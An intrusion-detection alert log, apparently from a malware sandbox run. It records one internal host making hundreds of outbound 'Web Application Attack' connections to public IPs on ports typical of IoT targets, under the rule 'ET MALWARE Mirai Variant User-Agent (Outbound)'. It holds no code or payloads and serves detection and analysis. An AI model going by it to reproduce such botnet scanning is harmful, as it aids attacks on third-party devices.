2024-12-11T00:43:18.365746+0100	2030092	1	Web Application Attack	192.168.2.23	52626	17.113.247.169	80	TCP
2024-12-11T00:43:18.367631+0100	2030092	1	Web Application Attack	192.168.2.23	59804	121.37.63.175	80	TCP
2024-12-11T00:43:18.370955+0100	2030092	1	Web Application Attack	192.168.2.23	42268	161.243.235.240	80	TCP
2024-12-11T00:43:18.385747+0100	2030092	1	Web Application Attack	192.168.2.23	36996	27.220.140.158	80	TCP
2024-12-11T00:43:30.352588+0100	2030092	1	Web Application Attack	192.168.2.23	56466	18.90.81.31	80	TCP
2024-12-11T00:43:32.287246+0100	2030092	1	Web Application Attack	192.168.2.23	49854	134.249.173.68	80	TCP
2024-12-11T00:43:32.338505+0100	2030092	1	Web Application Attack	192.168.2.23	49252	113.108.229.93	80	TCP
2024-12-11T00:43:32.339280+0100	2030092	1	Web Application Attack	192.168.2.23	56578	183.204.170.57	80	TCP
2024-12-11T00:43:32.351012+0100	2030092	1	Web Application Attack	192.168.2.23	33570	49.66.23.144	80	TCP
2024-12-11T00:43:32.363542+0100	2030092	1	Web Application Attack	192.168.2.23	34420	156.188.135.46	80	TCP
2024-12-11T00:43:36.283420+0100	2030092	1	Web Application Attack	192.168.2.23	41422	76.225.145.132	80	TCP
2024-12-11T00:43:36.283702+0100	2030092	1	Web Application Attack	192.168.2.23	41852	173.143.115.27	80	TCP
2024-12-11T00:43:36.285542+0100	2030092	1	Web Application Attack	192.168.2.23	40520	147.230.138.105	80	TCP
2024-12-11T00:43:36.286284+0100	2030092	1	Web Application Attack	192.168.2.23	37966	66.158.237.47	80	TCP
2024-12-11T00:43:36.316600+0100	2030092	1	Web Application Attack	192.168.2.23	38192	209.97.96.87	80	TCP
2024-12-11T00:43:37.374549+0100	2030092	1	Web Application Attack	192.168.2.23	53286	196.101.145.19	80	TCP
2024-12-11T00:43:40.336299+0100	2030092	1	Web Application Attack	192.168.2.23	32772	71.6.68.16	80	TCP
2024-12-11T00:43:42.280808+0100	2030092	1	Web Application Attack	192.168.2.23	36894	166.67.117.189	80	TCP
2024-12-11T00:43:42.301856+0100	2030092	1	Web Application Attack	192.168.2.23	45776	62.197.147.85	80	TCP
2024-12-11T00:43:43.289507+0100	2030092	1	Web Application Attack	192.168.2.23	58896	5.112.156.32	80	TCP
2024-12-11T00:43:44.373305+0100	2030092	1	Web Application Attack	192.168.2.23	44768	196.77.36.236	80	TCP
2024-12-11T00:43:45.304338+0100	2030092	1	Web Application Attack	192.168.2.23	53970	75.42.18.216	80	TCP
2024-12-11T00:43:47.375262+0100	2030092	1	Web Application Attack	192.168.2.23	59172	204.28.245.60	80	TCP
2024-12-11T00:43:49.329339+0100	2030092	1	Web Application Attack	192.168.2.23	60386	166.190.152.42	80	TCP
2024-12-11T00:43:50.307025+0100	2030092	1	Web Application Attack	192.168.2.23	36082	186.43.106.240	80	TCP
2024-12-11T00:43:50.359743+0100	2030092	1	Web Application Attack	192.168.2.23	56938	125.216.231.239	80	TCP
2024-12-11T00:43:51.300046+0100	2030092	1	Web Application Attack	192.168.2.23	45108	114.23.158.95	80	TCP
2024-12-11T00:43:51.343264+0100	2030092	1	Web Application Attack	192.168.2.23	35688	130.4.44.249	80	TCP
2024-12-11T00:43:54.281882+0100	2030092	1	Web Application Attack	192.168.2.23	43954	153.243.22.46	80	TCP
2024-12-11T00:43:54.334735+0100	2030092	1	Web Application Attack	192.168.2.23	52664	205.160.164.41	80	TCP
2024-12-11T00:43:55.304956+0100	2030092	1	Web Application Attack	192.168.2.23	59112	102.56.202.225	80	TCP
2024-12-11T00:43:55.366780+0100	2030092	1	Web Application Attack	192.168.2.23	40940	191.76.14.223	80	TCP
2024-12-11T00:43:57.383225+0100	2030092	1	Web Application Attack	192.168.2.23	56660	182.41.168.5	80	TCP
2024-12-11T00:43:58.319565+0100	2030092	1	Web Application Attack	192.168.2.23	41090	213.120.222.219	80	TCP
2024-12-11T00:44:00.332326+0100	2030092	1	Web Application Attack	192.168.2.23	45806	142.5.217.81	80	TCP
2024-12-11T00:44:02.369171+0100	2030092	1	Web Application Attack	192.168.2.23	53180	96.190.191.68	80	TCP
2024-12-11T00:44:03.286655+0100	2030092	1	Web Application Attack	192.168.2.23	56438	159.166.66.226	80	TCP
2024-12-11T00:44:03.323178+0100	2030092	1	Web Application Attack	192.168.2.23	54560	32.113.47.182	80	TCP
2024-12-11T00:44:04.346775+0100	2030092	1	Web Application Attack	192.168.2.23	37148	89.176.240.190	80	TCP
2024-12-11T00:44:07.321904+0100	2030092	1	Web Application Attack	192.168.2.23	59698	4.88.106.195	80	TCP
2024-12-11T00:44:07.335898+0100	2030092	1	Web Application Attack	192.168.2.23	45338	159.41.41.59	80	TCP
2024-12-11T00:44:07.372219+0100	2030092	1	Web Application Attack	192.168.2.23	55786	109.9.205.123	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T00:42:58.247209+0100	2029034	1	Web Application Attack	192.168.2.23	50400	216.18.254.161	8080	TCP
2024-12-11T00:42:58.479152+0100	2029034	1	Web Application Attack	192.168.2.23	58940	87.120.225.117	5555	TCP
2024-12-11T00:42:58.759121+0100	2029034	1	Web Application Attack	192.168.2.23	50214	125.133.16.27	49152	TCP
2024-12-11T00:43:00.962824+0100	2029034	1	Web Application Attack	192.168.2.23	53258	163.152.100.25	80	TCP
2024-12-11T00:43:06.285504+0100	2029034	1	Web Application Attack	192.168.2.23	46270	76.227.143.215	49152	TCP
2024-12-11T00:43:06.286241+0100	2029034	1	Web Application Attack	192.168.2.23	51682	54.78.250.89	5555	TCP
2024-12-11T00:43:06.286607+0100	2029034	1	Web Application Attack	192.168.2.23	59228	123.175.241.125	49152	TCP
2024-12-11T00:43:06.321711+0100	2029034	1	Web Application Attack	192.168.2.23	46640	34.136.79.41	7574	TCP
2024-12-11T00:43:06.322839+0100	2029034	1	Web Application Attack	192.168.2.23	41912	152.158.234.19	80	TCP
2024-12-11T00:43:07.245978+0100	2029034	1	Web Application Attack	192.168.2.23	40994	134.220.93.111	5555	TCP
2024-12-11T00:43:07.285314+0100	2029034	1	Web Application Attack	192.168.2.23	42154	71.44.225.112	80	TCP
2024-12-11T00:43:07.286788+0100	2029034	1	Web Application Attack	192.168.2.23	33870	48.214.85.13	5555	TCP
2024-12-11T00:43:07.287875+0100	2029034	1	Web Application Attack	192.168.2.23	54880	23.173.106.27	80	TCP
2024-12-11T00:43:07.288595+0100	2029034	1	Web Application Attack	192.168.2.23	54774	204.81.207.188	8080	TCP
2024-12-11T00:43:07.289690+0100	2029034	1	Web Application Attack	192.168.2.23	38010	221.42.76.51	7574	TCP
2024-12-11T00:43:07.290045+0100	2029034	1	Web Application Attack	192.168.2.23	44012	79.10.209.34	49152	TCP
2024-12-11T00:43:07.290406+0100	2029034	1	Web Application Attack	192.168.2.23	55264	9.58.179.109	80	TCP
2024-12-11T00:43:07.291131+0100	2029034	1	Web Application Attack	192.168.2.23	46432	203.29.198.208	7574	TCP
2024-12-11T00:43:07.292231+0100	2029034	1	Web Application Attack	192.168.2.23	51378	113.145.142.202	8080	TCP
2024-12-11T00:43:07.293673+0100	2029034	1	Web Application Attack	192.168.2.23	60422	184.96.7.28	8080	TCP
2024-12-11T00:43:07.294045+0100	2029034	1	Web Application Attack	192.168.2.23	40630	9.109.75.127	8080	TCP
2024-12-11T00:43:07.294448+0100	2029034	1	Web Application Attack	192.168.2.23	47894	206.142.193.152	7574	TCP
2024-12-11T00:43:07.294765+0100	2029034	1	Web Application Attack	192.168.2.23	56424	47.30.123.212	8080	TCP
2024-12-11T00:43:07.295525+0100	2029034	1	Web Application Attack	192.168.2.23	44964	153.95.193.121	5555	TCP
2024-12-11T00:43:07.295856+0100	2029034	1	Web Application Attack	192.168.2.23	38632	56.53.8.6	80	TCP
2024-12-11T00:43:07.296583+0100	2029034	1	Web Application Attack	192.168.2.23	34024	193.94.36.43	80	TCP
2024-12-11T00:43:07.297669+0100	2029034	1	Web Application Attack	192.168.2.23	48218	93.31.4.225	49152	TCP
2024-12-11T00:43:07.298038+0100	2029034	1	Web Application Attack	192.168.2.23	43226	206.130.7.22	8080	TCP
2024-12-11T00:43:07.298436+0100	2029034	1	Web Application Attack	192.168.2.23	39352	222.38.112.228	80	TCP
2024-12-11T00:43:07.299493+0100	2029034	1	Web Application Attack	192.168.2.23	54806	143.186.21.173	80	TCP
2024-12-11T00:43:07.300575+0100	2029034	1	Web Application Attack	192.168.2.23	48516	186.251.44.209	5555	TCP
2024-12-11T00:43:07.300939+0100	2029034	1	Web Application Attack	192.168.2.23	42356	166.192.145.39	49152	TCP
2024-12-11T00:43:07.302758+0100	2029034	1	Web Application Attack	192.168.2.23	53384	162.198.43.227	8080	TCP
2024-12-11T00:43:07.303115+0100	2029034	1	Web Application Attack	192.168.2.23	55738	154.140.14.6	80	TCP
2024-12-11T00:43:07.303529+0100	2029034	1	Web Application Attack	192.168.2.23	54192	186.173.246.164	80	TCP
2024-12-11T00:43:07.304934+0100	2029034	1	Web Application Attack	192.168.2.23	52520	140.9.134.133	5555	TCP
2024-12-11T00:43:07.305302+0100	2029034	1	Web Application Attack	192.168.2.23	48676	40.223.116.254	80	TCP
2024-12-11T00:43:07.305659+0100	2029034	1	Web Application Attack	192.168.2.23	34066	16.29.234.244	80	TCP
2024-12-11T00:43:07.306027+0100	2029034	1	Web Application Attack	192.168.2.23	54080	110.142.198.158	49152	TCP
2024-12-11T00:43:07.308211+0100	2029034	1	Web Application Attack	192.168.2.23	45404	50.91.199.9	49152	TCP
2024-12-11T00:43:07.308601+0100	2029034	1	Web Application Attack	192.168.2.23	41280	215.50.246.23	8080	TCP
2024-12-11T00:43:07.309654+0100	2029034	1	Web Application Attack	192.168.2.23	42974	90.197.2.27	5555	TCP
2024-12-11T00:43:07.310378+0100	2029034	1	Web Application Attack	192.168.2.23	46252	9.70.45.227	49152	TCP
2024-12-11T00:43:07.310747+0100	2029034	1	Web Application Attack	192.168.2.23	43262	113.146.56.79	49152	TCP
2024-12-11T00:43:07.311111+0100	2029034	1	Web Application Attack	192.168.2.23	42856	108.85.179.160	49152	TCP
2024-12-11T00:43:07.312203+0100	2029034	1	Web Application Attack	192.168.2.23	37314	47.69.248.12	49152	TCP
2024-12-11T00:43:07.313335+0100	2029034	1	Web Application Attack	192.168.2.23	58324	201.200.12.116	7574	TCP
2024-12-11T00:43:07.314019+0100	2029034	1	Web Application Attack	192.168.2.23	57728	65.131.166.130	49152	TCP
2024-12-11T00:43:07.314382+0100	2029034	1	Web Application Attack	192.168.2.23	50126	32.170.33.253	49152	TCP
2024-12-11T00:43:07.314743+0100	2029034	1	Web Application Attack	192.168.2.23	52258	45.27.188.99	7574	TCP
2024-12-11T00:43:07.316938+0100	2029034	1	Web Application Attack	192.168.2.23	52166	157.149.9.22	5555	TCP
2024-12-11T00:43:07.317309+0100	2029034	1	Web Application Attack	192.168.2.23	46134	76.51.22.34	5555	TCP
2024-12-11T00:43:07.318398+0100	2029034	1	Web Application Attack	192.168.2.23	33290	214.156.186.64	5555	TCP
2024-12-11T00:43:07.318776+0100	2029034	1	Web Application Attack	192.168.2.23	37392	207.198.77.45	80	TCP
2024-12-11T00:43:07.319547+0100	2029034	1	Web Application Attack	192.168.2.23	47656	30.227.89.81	5555	TCP
2024-12-11T00:43:07.320238+0100	2029034	1	Web Application Attack	192.168.2.23	45000	3.254.159.181	7574	TCP
2024-12-11T00:43:07.321717+0100	2029034	1	Web Application Attack	192.168.2.23	59380	212.148.153.192	80	TCP
2024-12-11T00:43:07.322123+0100	2029034	1	Web Application Attack	192.168.2.23	50500	215.47.78.226	7574	TCP
2024-12-11T00:43:07.322448+0100	2029034	1	Web Application Attack	192.168.2.23	47610	38.95.163.205	80	TCP
2024-12-11T00:43:07.323554+0100	2029034	1	Web Application Attack	192.168.2.23	56578	65.143.55.175	49152	TCP
2024-12-11T00:43:07.323911+0100	2029034	1	Web Application Attack	192.168.2.23	34192	121.19.25.76	49152	TCP
2024-12-11T00:43:07.325757+0100	2029034	1	Web Application Attack	192.168.2.23	37292	149.210.29.201	80	TCP
2024-12-11T00:43:07.327609+0100	2029034	1	Web Application Attack	192.168.2.23	58674	163.115.127.191	80	TCP
2024-12-11T00:43:07.328376+0100	2029034	1	Web Application Attack	192.168.2.23	54190	131.214.104.215	7574	TCP
2024-12-11T00:43:07.329096+0100	2029034	1	Web Application Attack	192.168.2.23	55656	54.252.138.172	80	TCP
2024-12-11T00:43:07.332831+0100	2029034	1	Web Application Attack	192.168.2.23	51422	177.60.56.110	5555	TCP
2024-12-11T00:43:07.333175+0100	2029034	1	Web Application Attack	192.168.2.23	36522	91.41.16.118	8080	TCP
2024-12-11T00:43:07.334630+0100	2029034	1	Web Application Attack	192.168.2.23	38868	141.202.115.162	7574	TCP
2024-12-11T00:43:07.335741+0100	2029034	1	Web Application Attack	192.168.2.23	39344	205.19.156.154	80	TCP
2024-12-11T00:43:07.336104+0100	2029034	1	Web Application Attack	192.168.2.23	40430	214.6.88.200	49152	TCP
2024-12-11T00:43:07.336474+0100	2029034	1	Web Application Attack	192.168.2.23	46876	190.202.109.241	7574	TCP
2024-12-11T00:43:07.336842+0100	2029034	1	Web Application Attack	192.168.2.23	41916	126.179.23.111	80	TCP
2024-12-11T00:43:07.337570+0100	2029034	1	Web Application Attack	192.168.2.23	59066	67.156.164.38	80	TCP
2024-12-11T00:43:07.338331+0100	2029034	1	Web Application Attack	192.168.2.23	56796	121.202.179.6	80	TCP
2024-12-11T00:43:07.339072+0100	2029034	1	Web Application Attack	192.168.2.23	39970	217.176.190.109	49152	TCP
2024-12-11T00:43:07.339437+0100	2029034	1	Web Application Attack	192.168.2.23	37956	90.24.179.163	8080	TCP
2024-12-11T00:43:07.340177+0100	2029034	1	Web Application Attack	192.168.2.23	33526	81.109.6.200	5555	TCP
2024-12-11T00:43:07.346799+0100	2029034	1	Web Application Attack	192.168.2.23	44166	166.117.94.49	7574	TCP
2024-12-11T00:43:07.347181+0100	2029034	1	Web Application Attack	192.168.2.23	42466	82.213.155.86	8080	TCP
2024-12-11T00:43:07.347915+0100	2029034	1	Web Application Attack	192.168.2.23	42120	92.244.233.206	8080	TCP
2024-12-11T00:43:07.348277+0100	2029034	1	Web Application Attack	192.168.2.23	38328	187.114.160.162	7574	TCP
2024-12-11T00:43:07.350127+0100	2029034	1	Web Application Attack	192.168.2.23	33314	153.28.27.68	8080	TCP
2024-12-11T00:43:07.351238+0100	2029034	1	Web Application Attack	192.168.2.23	59740	56.225.44.220	8080	TCP
2024-12-11T00:43:07.351608+0100	2029034	1	Web Application Attack	192.168.2.23	60702	96.114.30.207	80	TCP
2024-12-11T00:43:07.351988+0100	2029034	1	Web Application Attack	192.168.2.23	49316	4.134.245.148	49152	TCP
2024-12-11T00:43:07.352359+0100	2029034	1	Web Application Attack	192.168.2.23	49726	73.24.73.232	7574	TCP
2024-12-11T00:43:07.352709+0100	2029034	1	Web Application Attack	192.168.2.23	55636	117.31.40.208	5555	TCP
2024-12-11T00:43:07.354186+0100	2029034	1	Web Application Attack	192.168.2.23	35922	194.17.56.146	80	TCP
2024-12-11T00:43:07.354557+0100	2029034	1	Web Application Attack	192.168.2.23	40054	161.199.60.203	5555	TCP
2024-12-11T00:43:07.356033+0100	2029034	1	Web Application Attack	192.168.2.23	40896	186.182.149.110	7574	TCP
2024-12-11T00:43:07.356397+0100	2029034	1	Web Application Attack	192.168.2.23	33286	43.107.215.199	49152	TCP
2024-12-11T00:43:07.357127+0100	2029034	1	Web Application Attack	192.168.2.23	50674	150.55.156.79	80	TCP
2024-12-11T00:43:07.358580+0100	2029034	1	Web Application Attack	192.168.2.23	59632	196.150.108.122	5555	TCP
2024-12-11T00:43:07.359679+0100	2029034	1	Web Application Attack	192.168.2.23	44534	39.106.254.70	7574	TCP
2024-12-11T00:43:07.360400+0100	2029034	1	Web Application Attack	192.168.2.23	55572	210.164.84.185	49152	TCP
2024-12-11T00:43:07.361137+0100	2029034	1	Web Application Attack	192.168.2.23	35852	3.179.237.117	80	TCP
2024-12-11T00:43:07.361858+0100	2029034	1	Web Application Attack	192.168.2.23	46306	167.83.233.35	49152	TCP
2024-12-11T00:43:07.362610+0100	2029034	1	Web Application Attack	192.168.2.23	46714	12.69.195.226	7574	TCP
2024-12-11T00:43:07.363679+0100	2029034	1	Web Application Attack	192.168.2.23	52410	8.202.67.229	8080	TCP
2024-12-11T00:43:07.364409+0100	2029034	1	Web Application Attack	192.168.2.23	45250	45.22.47.103	8080	TCP
2024-12-11T00:43:07.365131+0100	2029034	1	Web Application Attack	192.168.2.23	53022	117.238.33.98	8080	TCP
2024-12-11T00:43:07.365502+0100	2029034	1	Web Application Attack	192.168.2.23	47802	15.233.37.150	49152	TCP
2024-12-11T00:43:07.366583+0100	2029034	1	Web Application Attack	192.168.2.23	58264	131.241.38.205	80	TCP
2024-12-11T00:43:07.366941+0100	2029034	1	Web Application Attack	192.168.2.23	51382	113.213.140.110	80	TCP
2024-12-11T00:43:07.368035+0100	2029034	1	Web Application Attack	192.168.2.23	43102	73.249.134.188	5555	TCP
2024-12-11T00:43:07.369486+0100	2029034	1	Web Application Attack	192.168.2.23	37202	216.199.223.139	80	TCP
2024-12-11T00:43:07.372034+0100	2029034	1	Web Application Attack	192.168.2.23	41214	96.205.70.202	80	TCP
2024-12-11T00:43:07.372794+0100	2029034	1	Web Application Attack	192.168.2.23	45340	110.161.89.185	5555	TCP
2024-12-11T00:43:07.373838+0100	2029034	1	Web Application Attack	192.168.2.23	44018	47.80.200.95	80	TCP
2024-12-11T00:43:07.374990+0100	2029034	1	Web Application Attack	192.168.2.23	45200	62.103.171.28	80	TCP
2024-12-11T00:43:07.375297+0100	2029034	1	Web Application Attack	192.168.2.23	53112	28.102.126.49	80	TCP
2024-12-11T00:43:07.376752+0100	2029034	1	Web Application Attack	192.168.2.23	60044	93.98.197.179	80	TCP
2024-12-11T00:43:07.377109+0100	2029034	1	Web Application Attack	192.168.2.23	47362	93.52.53.0	8080	TCP
2024-12-11T00:43:07.377468+0100	2029034	1	Web Application Attack	192.168.2.23	58704	134.145.254.175	8080	TCP
2024-12-11T00:43:07.381892+0100	2029034	1	Web Application Attack	192.168.2.23	41714	113.229.7.213	80	TCP
2024-12-11T00:43:07.382911+0100	2029034	1	Web Application Attack	192.168.2.23	54856	167.151.164.41	7574	TCP
2024-12-11T00:43:07.385473+0100	2029034	1	Web Application Attack	192.168.2.23	51548	182.98.49.24	8080	TCP
2024-12-11T00:43:07.385816+0100	2029034	1	Web Application Attack	192.168.2.23	51398	210.181.40.142	8080	TCP
2024-12-11T00:43:07.387992+0100	2029034	1	Web Application Attack	192.168.2.23	50042	137.151.78.143	80	TCP
2024-12-11T00:43:07.390175+0100	2029034	1	Web Application Attack	192.168.2.23	53188	118.35.168.154	8080	TCP
2024-12-11T00:43:07.390539+0100	2029034	1	Web Application Attack	192.168.2.23	39032	134.32.128.235	7574	TCP
2024-12-11T00:43:10.033658+0100	2029034	1	Web Application Attack	192.168.2.23	50158	220.74.77.186	49152	TCP
2024-12-11T00:43:10.233624+0100	2029034	1	Web Application Attack	192.168.2.23	58998	222.31.51.54	49152	TCP
2024-12-11T00:43:10.245617+0100	2029034	1	Web Application Attack	192.168.2.23	50478	49.122.11.82	5555	TCP
2024-12-11T00:43:10.245617+0100	2029034	1	Web Application Attack	192.168.2.23	49998	175.239.142.242	49152	TCP
2024-12-11T00:43:10.367267+0100	2029034	1	Web Application Attack	192.168.2.23	53736	61.236.10.24	7574	TCP
2024-12-11T00:43:10.797458+0100	2029034	1	Web Application Attack	192.168.2.23	44828	102.75.189.134	80	TCP
2024-12-11T00:43:17.284821+0100	2029034	1	Web Application Attack	192.168.2.23	39344	164.60.72.134	7574	TCP
2024-12-11T00:43:17.285464+0100	2029034	1	Web Application Attack	192.168.2.23	50484	91.32.136.60	80	TCP
2024-12-11T00:43:17.285813+0100	2029034	1	Web Application Attack	192.168.2.23	53476	71.213.59.190	80	TCP
2024-12-11T00:43:17.286544+0100	2029034	1	Web Application Attack	192.168.2.23	60090	54.126.187.157	80	TCP
2024-12-11T00:43:17.319060+0100	2029034	1	Web Application Attack	192.168.2.23	58394	29.209.111.194	7574	TCP
2024-12-11T00:43:17.320175+0100	2029034	1	Web Application Attack	192.168.2.23	58366	167.177.237.132	5555	TCP
2024-12-11T00:43:17.320543+0100	2029034	1	Web Application Attack	192.168.2.23	43632	11.152.97.248	49152	TCP
2024-12-11T00:43:17.321348+0100	2029034	1	Web Application Attack	192.168.2.23	48140	158.155.184.153	80	TCP
2024-12-11T00:43:17.388823+0100	2029034	1	Web Application Attack	192.168.2.23	43678	1.156.155.220	5555	TCP
2024-12-11T00:43:18.284369+0100	2029034	1	Web Application Attack	192.168.2.23	39330	37.106.97.86	80	TCP
2024-12-11T00:43:18.285076+0100	2029034	1	Web Application Attack	192.168.2.23	36788	81.14.183.229	8080	TCP
2024-12-11T00:43:18.285454+0100	2029034	1	Web Application Attack	192.168.2.23	48332	172.201.78.230	80	TCP
2024-12-11T00:43:18.286582+0100	2029034	1	Web Application Attack	192.168.2.23	34484	81.152.153.104	80	TCP
2024-12-11T00:43:18.287320+0100	2029034	1	Web Application Attack	192.168.2.23	37634	75.88.145.147	80	TCP
2024-12-11T00:43:18.287683+0100	2029034	1	Web Application Attack	192.168.2.23	56468	133.86.189.70	5555	TCP
2024-12-11T00:43:18.288518+0100	2029034	1	Web Application Attack	192.168.2.23	50746	117.194.49.127	8080	TCP
2024-12-11T00:43:18.289188+0100	2029034	1	Web Application Attack	192.168.2.23	33518	64.246.130.65	80	TCP
2024-12-11T00:43:18.290266+0100	2029034	1	Web Application Attack	192.168.2.23	56766	148.104.170.209	8080	TCP
2024-12-11T00:43:18.290643+0100	2029034	1	Web Application Attack	192.168.2.23	40856	23.210.109.40	8080	TCP
2024-12-11T00:43:18.291392+0100	2029034	1	Web Application Attack	192.168.2.23	48354	162.154.175.138	80	TCP
2024-12-11T00:43:18.294348+0100	2029034	1	Web Application Attack	192.168.2.23	34732	198.246.28.145	5555	TCP
2024-12-11T00:43:18.295103+0100	2029034	1	Web Application Attack	192.168.2.23	56000	156.9.96.43	80	TCP
2024-12-11T00:43:18.296582+0100	2029034	1	Web Application Attack	192.168.2.23	57392	168.22.178.161	8080	TCP
2024-12-11T00:43:18.299890+0100	2029034	1	Web Application Attack	192.168.2.23	39800	205.55.79.236	8080	TCP
2024-12-11T00:43:18.300632+0100	2029034	1	Web Application Attack	192.168.2.23	35700	115.248.197.146	7574	TCP
2024-12-11T00:43:18.301001+0100	2029034	1	Web Application Attack	192.168.2.23	36728	60.31.41.49	7574	TCP
2024-12-11T00:43:18.303244+0100	2029034	1	Web Application Attack	192.168.2.23	53262	137.77.114.156	80	TCP
2024-12-11T00:43:18.303956+0100	2029034	1	Web Application Attack	192.168.2.23	52956	34.155.65.192	8080	TCP
2024-12-11T00:43:18.304699+0100	2029034	1	Web Application Attack	192.168.2.23	56244	125.138.41.164	80	TCP
2024-12-11T00:43:18.307277+0100	2029034	1	Web Application Attack	192.168.2.23	54536	48.84.204.236	7574	TCP
2024-12-11T00:43:18.308018+0100	2029034	1	Web Application Attack	192.168.2.23	46760	103.136.18.241	80	TCP
2024-12-11T00:43:18.308383+0100	2029034	1	Web Application Attack	192.168.2.23	56222	154.183.15.240	80	TCP
2024-12-11T00:43:18.308762+0100	2029034	1	Web Application Attack	192.168.2.23	40464	174.191.244.5	8080	TCP
2024-12-11T00:43:18.309123+0100	2029034	1	Web Application Attack	192.168.2.23	53186	38.61.43.59	80	TCP
2024-12-11T00:43:18.309484+0100	2029034	1	Web Application Attack	192.168.2.23	40490	48.76.49.73	80	TCP
2024-12-11T00:43:18.310947+0100	2029034	1	Web Application Attack	192.168.2.23	35390	51.78.208.9	7574	TCP
2024-12-11T00:43:18.311331+0100	2029034	1	Web Application Attack	192.168.2.23	60738	171.18.70.194	5555	TCP
2024-12-11T00:43:18.312056+0100	2029034	1	Web Application Attack	192.168.2.23	60010	198.111.45.203	80	TCP
2024-12-11T00:43:18.312796+0100	2029034	1	Web Application Attack	192.168.2.23	38914	179.129.124.12	8080	TCP
2024-12-11T00:43:18.313526+0100	2029034	1	Web Application Attack	192.168.2.23	53960	117.138.201.233	8080	TCP
2024-12-11T00:43:18.313907+0100	2029034	1	Web Application Attack	192.168.2.23	49254	21.58.30.238	7574	TCP
2024-12-11T00:43:18.314636+0100	2029034	1	Web Application Attack	192.168.2.23	34116	174.193.104.217	80	TCP
2024-12-11T00:43:18.315009+0100	2029034	1	Web Application Attack	192.168.2.23	51516	123.85.144.247	49152	TCP
2024-12-11T00:43:18.315379+0100	2029034	1	Web Application Attack	192.168.2.23	56064	131.11.250.52	8080	TCP
2024-12-11T00:43:18.316121+0100	2029034	1	Web Application Attack	192.168.2.23	43780	45.7.188.235	5555	TCP
2024-12-11T00:43:18.316441+0100	2029034	1	Web Application Attack	192.168.2.23	32868	217.149.6.59	80	TCP
2024-12-11T00:43:18.317207+0100	2029034	1	Web Application Attack	192.168.2.23	46800	116.50.214.170	49152	TCP
2024-12-11T00:43:18.317895+0100	2029034	1	Web Application Attack	192.168.2.23	53700	129.114.47.187	80	TCP
2024-12-11T00:43:18.318266+0100	2029034	1	Web Application Attack	192.168.2.23	52874	115.176.251.133	7574	TCP
2024-12-11T00:43:18.320490+0100	2029034	1	Web Application Attack	192.168.2.23	53116	105.183.55.212	8080	TCP
2024-12-11T00:43:18.321234+0100	2029034	1	Web Application Attack	192.168.2.23	43712	220.37.202.8	49152	TCP
2024-12-11T00:43:18.321600+0100	2029034	1	Web Application Attack	192.168.2.23	39954	76.56.4.87	8080	TCP
2024-12-11T00:43:18.322338+0100	2029034	1	Web Application Attack	192.168.2.23	54614	6.130.70.88	49152	TCP
2024-12-11T00:43:18.323073+0100	2029034	1	Web Application Attack	192.168.2.23	52860	29.92.227.30	80	TCP
2024-12-11T00:43:18.324181+0100	2029034	1	Web Application Attack	192.168.2.23	53702	120.95.235.71	80	TCP
2024-12-11T00:43:18.325292+0100	2029034	1	Web Application Attack	192.168.2.23	50222	189.118.208.52	5555	TCP
2024-12-11T00:43:18.326759+0100	2029034	1	Web Application Attack	192.168.2.23	36152	175.33.232.251	80	TCP
2024-12-11T00:43:18.328981+0100	2029034	1	Web Application Attack	192.168.2.23	34660	175.193.203.48	80	TCP
2024-12-11T00:43:18.329351+0100	2029034	1	Web Application Attack	192.168.2.23	35982	153.158.173.169	49152	TCP
2024-12-11T00:43:18.329721+0100	2029034	1	Web Application Attack	192.168.2.23	44878	47.227.87.189	49152	TCP
2024-12-11T00:43:18.330097+0100	2029034	1	Web Application Attack	192.168.2.23	37498	50.241.123.12	80	TCP
2024-12-11T00:43:18.330463+0100	2029034	1	Web Application Attack	192.168.2.23	57188	90.16.121.147	8080	TCP
2024-12-11T00:43:18.330832+0100	2029034	1	Web Application Attack	192.168.2.23	34398	222.180.230.186	49152	TCP
2024-12-11T00:43:18.331202+0100	2029034	1	Web Application Attack	192.168.2.23	43264	217.185.174.89	5555	TCP
2024-12-11T00:43:18.331587+0100	2029034	1	Web Application Attack	192.168.2.23	59644	131.224.165.201	80	TCP
2024-12-11T00:43:18.331970+0100	2029034	1	Web Application Attack	192.168.2.23	57702	207.208.138.25	80	TCP
2024-12-11T00:43:18.332681+0100	2029034	1	Web Application Attack	192.168.2.23	44902	38.94.214.104	8080	TCP
2024-12-11T00:43:18.333051+0100	2029034	1	Web Application Attack	192.168.2.23	48472	72.196.245.40	5555	TCP
2024-12-11T00:43:18.335280+0100	2029034	1	Web Application Attack	192.168.2.23	43570	104.181.12.16	7574	TCP
2024-12-11T00:43:18.336394+0100	2029034	1	Web Application Attack	192.168.2.23	41612	43.51.149.142	80	TCP
2024-12-11T00:43:18.338628+0100	2029034	1	Web Application Attack	192.168.2.23	49966	138.136.138.165	80	TCP
2024-12-11T00:43:18.339399+0100	2029034	1	Web Application Attack	192.168.2.23	37332	64.90.223.116	80	TCP
2024-12-11T00:43:18.339758+0100	2029034	1	Web Application Attack	192.168.2.23	57576	141.74.31.86	80	TCP
2024-12-11T00:43:18.340515+0100	2029034	1	Web Application Attack	192.168.2.23	54622	65.241.114.10	49152	TCP
2024-12-11T00:43:18.340889+0100	2029034	1	Web Application Attack	192.168.2.23	43800	48.37.127.242	80	TCP
2024-12-11T00:43:18.341633+0100	2029034	1	Web Application Attack	192.168.2.23	54498	84.44.230.193	80	TCP
2024-12-11T00:43:18.342413+0100	2029034	1	Web Application Attack	192.168.2.23	38126	113.43.66.2	8080	TCP
2024-12-11T00:43:18.343167+0100	2029034	1	Web Application Attack	192.168.2.23	48590	11.199.251.112	49152	TCP
2024-12-11T00:43:18.347560+0100	2029034	1	Web Application Attack	192.168.2.23	48882	93.215.216.106	80	TCP
2024-12-11T00:43:18.347967+0100	2029034	1	Web Application Attack	192.168.2.23	60220	84.227.113.193	80	TCP
2024-12-11T00:43:18.350149+0100	2029034	1	Web Application Attack	192.168.2.23	52688	137.242.182.194	8080	TCP
2024-12-11T00:43:18.350532+0100	2029034	1	Web Application Attack	192.168.2.23	40728	88.238.152.125	8080	TCP
2024-12-11T00:43:18.351610+0100	2029034	1	Web Application Attack	192.168.2.23	40484	218.127.6.163	80	TCP
2024-12-11T00:43:18.354589+0100	2029034	1	Web Application Attack	192.168.2.23	53152	80.171.126.29	49152	TCP
2024-12-11T00:43:18.355329+0100	2029034	1	Web Application Attack	192.168.2.23	43906	5.176.45.173	49152	TCP
2024-12-11T00:43:18.355702+0100	2029034	1	Web Application Attack	192.168.2.23	47162	69.214.87.241	80	TCP
